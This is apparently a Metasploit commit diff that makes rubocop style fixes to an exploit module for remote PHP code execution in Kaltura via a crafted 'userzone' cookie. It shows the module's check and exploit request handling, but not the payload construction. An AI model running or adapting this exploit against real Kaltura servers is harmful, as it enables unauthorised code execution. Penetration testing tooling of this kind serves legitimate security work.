Use stylistic suggestions from rubocop

Author: rverton

modules/exploits/linux/http/kaltura_unserialize_cookie_rce.rb

@@ -9,7 +9,7 @@ class MetasploitModule < Msf::Exploit::Remote
 
   include Msf::Exploit::Remote::HttpClient
 
-  def initialize(info={})
+  def initialize(info = {})
     super(update_info(info,
       'Name'           => 'Kaltura Remote PHP Code Execution over Cookie',
       'Description'    => %q{
@@ -32,8 +32,8 @@ def initialize(info={})
       'License'         => MSF_LICENSE,
       'Author'          =>
         [
-            'Robin Verton <[email protected]>',
-            'Mehmet Ince <[email protected]>'    # first kaltura rce module
+          'Robin Verton <[email protected]>',
+          'Mehmet Ince <[email protected]>' # first kaltura rce module
         ],
       'References'      =>
         [
@@ -82,12 +82,12 @@ def check
       'cookie' => "userzone=#{encoded}#{hash}"
     )
 
-    if res and res.redirect?
+    if res && res.redirect?
       print_error("Got a redirect, maybe you are not using https? #{res.headers['Location']}")
       Exploit::CheckCode::Safe
     elsif res && res.body.include?(r)
       Exploit::CheckCode::Vulnerable
-    elsif not check_entryid
+    elsif !check_entryid
       print_error("Invalid ENTRYID")
       Exploit::CheckCode::Safe
     else
@@ -107,7 +107,6 @@ def check_entryid
     )
 
     return res.body.include? entry_id
-
   end
 
   def exploit
@@ -136,13 +135,12 @@ def exploit
       'cookie' => "userzone=#{encoded}#{hash}"
     )
 
-    if res and res.redirect?
+    if res && res.redirect?
       print_error("Got a redirect, maybe you are not using https? #{res.headers['Location']}")
-    elsif res and res.code != 200
-        print_error('Unexpected response...')
+    elsif res && res.code != 200
+      print_error('Unexpected response...')
     else
-        print_status("Output: #{res.body}")
+      print_status("Output: #{res.body}")
     end
-
   end
 end